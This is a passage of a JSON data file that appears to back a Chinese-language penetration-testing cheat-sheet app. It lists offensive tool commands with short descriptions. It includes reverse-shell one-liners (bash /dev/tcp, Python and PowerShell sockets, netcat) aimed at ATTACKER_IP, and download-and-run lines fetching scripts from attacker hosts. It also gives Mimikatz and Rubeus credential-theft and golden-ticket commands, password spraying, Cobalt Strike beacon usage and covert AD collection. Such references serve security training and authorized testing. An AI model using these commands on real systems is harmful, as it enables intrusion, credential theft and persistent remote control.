"syntaxBreakdown": []
},
{
"command": "evil-winrm -i target_ip -u user -H ntlm_hash",
"description": "使用哈希连接",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "upload local_file remote_path",
"description": "上传文件到目标",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "download remote_path local_file",
"description": "从目标下载文件",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "menu\nBypass-4MSI\nInvoke-Mimikatz",
"description": "加载PowerShell脚本",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "Invoke-Command -ScriptBlock {whoami}",
"description": "执行PowerShell命令",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "proxychains",
"name": "ProxyChains",
"description": "代理链工具",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "vim /etc/proxychains4.conf\n[ProxyList]\nsocks5 127.0.0.1 1080",
"description": "配置SOCKS代理",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "proxychains4 nmap -sT -Pn target_ip",
"description": "通过代理运行工具",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "dynamic_chain\n[ProxyList]\nsocks5 127.0.0.1 1080\nsocks5 127.0.0.1 1081",
"description": "动态代理链",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "strict_chain",
"description": "严格按顺序使用代理",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "random_chain",
"description": "随机选择代理",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "bash-reverse",
"name": "Bash反弹Shell",
"description": "Bash反弹Shell命令",
"category": "反弹Shell",
"tags": [],
"commands": [
{
"command": "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1",
"description": "基础Bash反弹",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "exec 5<>/dev/tcp/ATTACKER_IP/PORT;cat <&5 | while read line; do $line 2>&5 >&5; done",
"description": "exec方式反弹",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "bash -i >& /dev/udp/ATTACKER_IP/PORT 0>&1",
"description": "UDP反弹",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1\"",
"description": "bash -c执行",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "nc -lvnp PORT",
"description": "Netcat监听",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "python-reverse",
"name": "Python反弹Shell",
"description": "Python反弹Shell命令",
"category": "反弹Shell",
"tags": [],
"commands": [
{
"command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
"description": "Python反弹Shell",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
"description": "Python3反弹",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "python -c 'import pty;pty.spawn(\"/bin/bash\")'",
"description": "获取完整TTY",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "powershell-reverse",
"name": "PowerShell反弹Shell",
"description": "PowerShell反弹Shell命令",
"category": "反弹Shell",
"tags": [],
"commands": [
{
"command": "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"",
"description": "PowerShell反弹",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "powershell -e BASE64_ENCODED_COMMAND",
"description": "Base64编码执行",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "powershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://attacker.com/powercat.ps1');powercat -c ATTACKER_IP -p PORT -e cmd\"",
"description": "使用PowerCat",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "nc-reverse",
"name": "Netcat反弹Shell",
"description": "Netcat反弹Shell命令",
"category": "反弹Shell",
"tags": [],
"commands": [
{
"command": "nc -e /bin/sh ATTACKER_IP PORT",
"description": "传统nc反弹",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f",
"description": "OpenBSD nc反弹",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "nc -lvnp PORT",
"description": "监听连接",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "nc -lvnp PORT < file # 发送端\nnc ATTACKER_IP PORT > file # 接收端",
"description": "通过nc传输文件",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "nuclei",
"name": "Nuclei",
"description": "快速漏洞扫描工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "nuclei -u http://target.com",
"description": "使用所有模板扫描",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "nuclei -u http://target.com -t cves/",
"description": "使用CVE模板",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "nuclei -u http://target.com -severity critical,high",
"description": "指定漏洞严重级别",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "nuclei -l urls.txt",
"description": "从文件读取目标",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "nuclei -update-templates",
"description": "更新模板库",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "nuclei -u http://target.com -o results.txt",
"description": "保存扫描结果",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "nuclei -u http://target.com -json -o results.json",
"description": "JSON格式输出",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "windows-cmd",
"name": "Windows CMD命令",
"description": "Windows系统常用命令",
"category": "系统命令",
"tags": [],
"commands": [
{
"command": "systeminfo\nver\nhostname",
"description": "获取系统信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net user\nnet user username password /add\nnet localgroup administrators username /add",
"description": "用户管理命令",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "ipconfig /all\nnetstat -ano\nnetstat -anob\nroute print\narp -a",
"description": "网络配置信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "tasklist\ntaskkill /PID pid /F\nwmic process list full",
"description": "进程管理命令",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "sc query\nsc start servicename\nsc stop servicename\nnet start",
"description": "服务管理命令",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "dir /s /b c:\\*.txt\ntype filename\nfind \"string\" filename\nicacls filename",
"description": "文件操作命令",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "reg query HKLM\\Software\nreg add HKLM\\Software\\MyKey /v Value /t REG_SZ /d \"Data\" /f\nreg delete HKLM\\Software\\MyKey /f",
"description": "注册表操作",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "netsh advfirewall show allprofiles\nnetsh advfirewall firewall add rule name=\"Allow Port\" dir=in action=allow protocol=tcp localport=8080",
"description": "防火墙配置",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "net-commands",
"name": "NET命令集合",
"description": "Windows NET命令完整集合",
"category": "系统命令",
"tags": [],
"commands": [
{
"command": "net user",
"description": "列出所有用户",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net user username",
"description": "查看用户详细信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net user username password /add",
"description": "添加新用户",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net user username /delete",
"description": "删除用户",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net localgroup",
"description": "列出所有本地组",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net localgroup administrators username /add",
"description": "将用户添加到管理员组",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net user /domain",
"description": "列出域用户",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net group \"Domain Admins\" /domain",
"description": "列出域管理员",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net share",
"description": "列出共享资源",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net share sharename=C:\\path /grant:everyone,full",
"description": "创建共享",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net session",
"description": "列出当前会话",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "net use \\\\target\\share password /user:domain\\user",
"description": "连接网络共享",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "bloodhound-tool",
"name": "BloodHound",
"description": "Active Directory关系分析工具",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "sudo neo4j console",
"description": "启动Neo4j数据库",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "bloodhound",
"description": "启动BloodHound界面",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "SharpHound.exe -c All",
"description": "采集所有域信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "IEX(New-Object Net.WebClient).DownloadString(\"http://attacker/SharpHound.ps1\"); Invoke-BloodHound -CollectionMethod All",
"description": "PowerShell远程加载采集",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "bloodhound-python -u user -p password -d domain.com -ns dc_ip",
"description": "Python版本采集",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name=\"DOMAIN ADMINS@DOMAIN.COM\" RETURN p",
"description": "查询到域管理员的最短路径",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "MATCH (n)-[r:DCSync]->(m) RETURN n,m",
"description": "查询DCSync权限关系",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "MATCH (c:Computer {unconstraineddelegation:true}) RETURN c",
"description": "查询无约束委派计算机",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "MATCH (n:User) WHERE n.admincount=true RETURN n",
"description": "查询高权限用户",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "mimikatz-tool",
"name": "Mimikatz",
"description": "Windows凭证提取工具",
"category": "凭证窃取",
"tags": [],
"commands": [
{
"command": "privilege::debug",
"description": "获取Debug权限",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "sekurlsa::logonpasswords",
"description": "抓取所有登录凭证",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "sekurlsa::minidump lsass.dmp",
"description": "从LSASS转储文件提取",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:HASH",
"description": "哈希传递攻击",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "lsadump::dcsync /domain:domain.com /user:Administrator",
"description": "DCSync获取域管哈希",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "lsadump::sam",
"description": "导出SAM数据库",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "lsadump::lsa /inject",
"description": "导出LSA密钥",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt",
"description": "生成黄金票据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt",
"description": "生成白银票据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "kerberos::list",
"description": "列出Kerberos票据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "kerberos::list /export",
"description": "导出Kerberos票据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "misc::skeleton",
"description": "植入万能密码",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "rubeus-tool",
"name": "Rubeus",
"description": "Kerberos攻击工具",
"category": "凭证窃取",
"tags": [],
"commands": [
{
"command": "Rubeus.exe kerberoast /stats",
"description": "Kerberoasting攻击",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Rubeus.exe asreproast /user:username",
"description": "AS-REP Roasting攻击",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Rubeus.exe asktgt /user:username /password:password",
"description": "请求TGT票据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Rubeus.exe asktgs /service:cifs/server.domain.com /ticket:TICKET_BASE64",
"description": "请求服务票据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Rubeus.exe s4u /user:service_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target",
"description": "S4U协议攻击",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Rubeus.exe golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator",
"description": "生成黄金票据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Rubeus.exe ptt /ticket:TICKET_BASE64",
"description": "注入票据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Rubeus.exe klist",
"description": "列出当前票据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Rubeus.exe monitor /interval:30",
"description": "监视新票据",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "certipy-tool",
"name": "Certipy",
"description": "ADCS证书服务攻击工具",
"category": "域渗透",
"tags": [],
"commands": [
{
"command": "certipy find -u user@domain.com -p password -dc-ip dc_ip",
"description": "枚举证书服务",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "certipy req -u user@domain.com -p password -ca CA_NAME -template Template -upn Administrator@domain.com",
"description": "ESC1模板滥用",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE",
"description": "ESC2任意用途",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "certipy auth -pfx administrator.pfx -domain domain.com",
"description": "使用证书认证",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "certipy relay -ca ca_server -template DomainController",
"description": "HTTP中继攻击",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "certipy req -u user@domain.com -p password -ca CA_NAME -template User -out user.pfx",
"description": "导出PFX证书",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "kerbrute-tool",
"name": "Kerbrute",
"description": "Kerberos暴力破解工具",
"category": "密码攻击",
"tags": [],
"commands": [
{
"command": "kerbrute userenum -d domain.com --dc dc_ip users.txt",
"description": "枚举域用户",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "kerbrute passwordspray -d domain.com --dc dc_ip users.txt Password123",
"description": "密码喷洒攻击",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "kerbrute bruteuser -d domain.com --dc dc_ip wordlist.txt username",
"description": "暴力破解用户",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "kerbrute -d domain.com --dc dc_ip user:password",
"description": "验证凭证",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "sharphound-tool",
"name": "SharpHound",
"description": "BloodHound数据采集器",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "SharpHound.exe -c All",
"description": "采集所有数据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.domain.com",
"description": "指定域控制器",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "SharpHound.exe -c All --Domain domain.com",
"description": "指定域名",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "SharpHound.exe -c All --RandomizeFilenames --OutputDirectory C:\\Users\\Public",
"description": "随机文件名隐蔽采集",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "SharpHound.exe -c Default,ACL,Trusts,Container",
"description": "指定采集方法",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "seatbelt-tool",
"name": "Seatbelt",
"description": "Windows安全信息收集工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "Seatbelt.exe -group=all",
"description": "收集所有信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Seatbelt.exe -group=system",
"description": "收集系统信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Seatbelt.exe -group=user",
"description": "收集用户信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Seatbelt.exe -group=security",
"description": "收集安全配置",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Seatbelt.exe -group=network",
"description": "收集网络信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Seatbelt.exe -group=all -computername=TARGET -username=DOMAIN\\user -password=password",
"description": "远程信息收集",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "winpeas-tool",
"name": "WinPEAS",
"description": "Windows提权辅助工具",
"category": "权限提升",
"tags": [],
"commands": [
{
"command": "winpeas.exe",
"description": "执行完整提权扫描",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "winpeas.exe fast",
"description": "快速扫描模式",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "winpeas.exe cmd",
"description": "显示详细命令输出",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "winpeas.exe > output.txt",
"description": "保存扫描结果",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "linpeas-tool",
"name": "LinPEAS",
"description": "Linux提权辅助工具",
"category": "权限提升",
"tags": [],
"commands": [
{
"command": "./linpeas.sh",
"description": "执行完整提权扫描",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "./linpeas.sh -a",
"description": "自动发现模式",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "./linpeas.sh -P",
"description": "检查密码策略",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "./linpeas.sh > output.txt",
"description": "保存扫描结果",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "chisel-tool",
"name": "Chisel",
"description": "HTTP隧道工具",
"category": "隧道代理",
"tags": [],
"commands": [
{
"command": "./chisel server -p 8000 --reverse",
"description": "启动服务端",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "chisel.exe client attacker_ip:8000 R:socks",
"description": "建立反向SOCKS代理",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "chisel.exe client attacker_ip:8000 R:3389:127.0.0.1:3389",
"description": "端口转发",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "chisel.exe client attacker_ip:8000 socks",
"description": "建立正向SOCKS代理",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "chisel.exe client attacker_ip:8000 R:80:127.0.0.1:80 R:3389:127.0.0.1:3389",
"description": "多端口转发",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "ligolo-tool",
"name": "Ligolo-ng",
"description": "隧道工具",
"category": "隧道代理",
"tags": [],
"commands": [
{
"command": "sudo proxy -selfcert",
"description": "启动代理服务器",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "agent.exe -connect attacker_ip:11601 -ignore-cert",
"description": "Agent连接到代理",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "session\nsession_select_id",
"description": "选择会话",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "start_tunnel",
"description": "启动隧道",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "interface_add_route 10.10.10.0/24",
"description": "添加目标网段",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "sharpsmbclient-tool",
"name": "SharpSMBClient",
"description": "SMB客户端工具",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -L",
"description": "列出SMB共享",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -l",
"description": "列出共享目录",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -g \"path\\file\"",
"description": "下载文件",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -p local_file -r remote_path",
"description": "上传文件",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "donpapi-tool",
"name": "DonPAPI",
"description": "DPAPI凭证提取工具",
"category": "凭证窃取",
"tags": [],
"commands": [
{
"command": "donpapi domain/user:password@target_ip",
"description": "提取DPAPI凭证",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "donpapi -hashes :NTHASH domain/user@target_ip",
"description": "使用哈希认证",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "donpapi domain/user:password@targets.txt",
"description": "批量提取凭证",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "powersploit-tool",
"name": "PowerSploit",
"description": "PowerShell渗透测试框架",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "IEX(New-Object Net.WebClient).DownloadString(\"http://attacker/PowerView.ps1\")",
"description": "远程加载PowerView",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Get-NetDomain",
"description": "获取域信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Get-NetUser",
"description": "获取域用户",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Get-NetGroup \"Domain Admins\"",
"description": "获取域管理员",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Get-NetDomainController",
"description": "获取域控制器",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Find-DomainUserLocation",
"description": "查找域管理员登录位置",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Get-ObjectAcl -SamAccountName target",
"description": "获取对象ACL",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Add-DomainObjectAcl -TargetIdentity target -Rights DCSync",
"description": "添加DCSync权限",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "cobaltstrike-tool",
"name": "Cobalt Strike",
"description": "红队渗透测试框架",
"category": "红队工具",
"tags": [],
"commands": [
{
"command": "./teamserver ip password [C2配置文件]",
"description": "启动团队服务器",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "Attacks -> Packages -> Windows Executable",
"description": "生成可执行Payload",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "Cobalt Strike -> Listeners -> Add",
"description": "添加监听器",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "shell whoami\nps\nhashdump\nmimikatz",
"description": "Beacon常用命令",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "beacon> link target_ip",
"description": "SMB Beacon横向",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "beacon> socks 1080",
"description": "启动SOCKS代理",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "beacon> steal_token PID",
"description": "窃取进程令牌",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "beacon> runas domain\\user password command",
"description": "以其他用户运行",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "searchsploit-tool",
"name": "SearchSploit",
"description": "漏洞搜索工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "searchsploit apache 2.4",
"description": "搜索Apache漏洞",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "searchsploit -e \"Apache 2.4\"",
"description": "精确匹配搜索",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "searchsploit apache --exclude=\"DoS\"",
"description": "排除特定类型",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "searchsploit -x exploits/xxx.py",
"description": "查看漏洞代码",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "searchsploit -m exploits/xxx.py",
"description": "复制到当前目录",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "searchsploit -u",
"description": "更新漏洞数据库",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "wfuzz-tool",
"name": "WFuzz",
"description": "Web模糊测试工具",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "wfuzz -c -w wordlist.txt http://target.com/FUZZ",
"description": "基础目录爆破",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "wfuzz -c -w wordlist.txt --hc 404 http://target.com/FUZZ",
"description": "过滤404响应",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "wfuzz -c -w wordlist.txt -d \"user=FUZZ&pass=test\" http://target.com/login",
"description": "POST数据测试",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "wfuzz -c -w wordlist.txt -b \"session=FUZZ\" http://target.com/",
"description": "Cookie模糊测试",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "wfuzz -c -w wordlist.txt -H \"Host: FUZZ.target.com\" http://target.com/",
"description": "Host头测试",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "wfuzz -c -w wordlist.txt -R 2 http://target.com/FUZZ",
"description": "递归扫描",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "amass-tool",
"name": "Amass",
"description": "子域名枚举工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "amass enum -d target.com",
"description": "枚举子域名",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "amass enum -passive -d target.com",
"description": "被动信息收集",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "amass enum -active -d target.com",
"description": "主动信息收集",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "amass enum -brute -d target.com -w wordlist.txt",
"description": "暴力破解子域名",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "amass enum -d target.com -o output.txt",
"description": "保存枚举结果",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "subfinder-tool",
"name": "Subfinder",
"description": "子域名发现工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "subfinder -d target.com",
"description": "枚举子域名",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "subfinder -d target.com -recursive",
"description": "递归枚举",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "subfinder -d target.com -o output.txt",
"description": "保存结果",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "subfinder -d target.com -json -o output.json",
"description": "JSON格式输出",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "subfinder -dL domains.txt",
"description": "批量处理域名",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "httpx-tool",
"name": "HTTPX",
"description": "HTTP探测工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "cat urls.txt | httpx",
"description": "探测HTTP服务",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "cat urls.txt | httpx -title -status-code",
"description": "获取页面标题和状态码",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "cat urls.txt | httpx -screenshot",
"description": "网页截图",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "cat urls.txt | httpx -tech-detect",
"description": "技术栈识别",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "cat urls.txt | httpx -o output.txt",
"description": "保存结果",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "masscan",
"name": "Masscan",
"description": "最快的互联网端口扫描器，可在5分钟内扫描整个互联网",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "masscan -p1-65535 target_ip --rate=1000",
"description": "以每秒1000包的速率扫描目标所有端口",
"platform": "all",
"syntaxBreakdown": [
{
"part": "masscan",
"explanation": "高速端口扫描器",
"type": "command"
},
{
"part": "-p1-65535",
"explanation": "扫描全部65535个端口",
"type": "parameter"
},
{
"part": "--rate=1000",
"explanation": "每秒发送1000个数据包",
"type": "parameter"
}
]
},
{
"command": "masscan -p80,443,8080,8443,3306,6379,27017 target_ip/24 --rate=500",
"description": "扫描常用Web和数据库端口",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "masscan -p1-65535 target_ip --rate=1000 -oJ result.json\nmasscan -p1-65535 target_ip --rate=1000 -oX result.xml\nmasscan -p1-65535 target_ip --rate=1000 -oG result.grep",
"description": "支持JSON/XML/Grepable格式输出",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "masscan -p1-65535 10.0.0.0/8 --rate=10000 -e eth0 --excludefile exclude.txt",
"description": "指定网卡并排除特定IP范围",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "masscan -p80,443 target_ip/24 --banners --rate=500",
"description": "获取服务Banner信息",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "dirsearch",
"name": "Dirsearch",
"description": "高级Web目录和文件暴力破解工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "dirsearch -u https://target.com -e php,asp,aspx,jsp,html,js",
"description": "扫描指定扩展名的目录和文件",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-u",
"explanation": "目标URL",
"type": "parameter"
},
{
"part": "-e",
"explanation": "指定扫描的文件扩展名",
"type": "parameter"
}
]
},
{
"command": "dirsearch -u https://target.com -w /usr/share/wordlists/dirb/big.txt --delay=0.5",
"description": "使用自定义字典并设置请求延迟",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "dirsearch -u https://target.com -e php -r -R 3 --exclude-status=403,404",
"description": "递归扫描3层深度，排除403/404",
"platform": "all",
"syntaxBreakdown": []
},
{
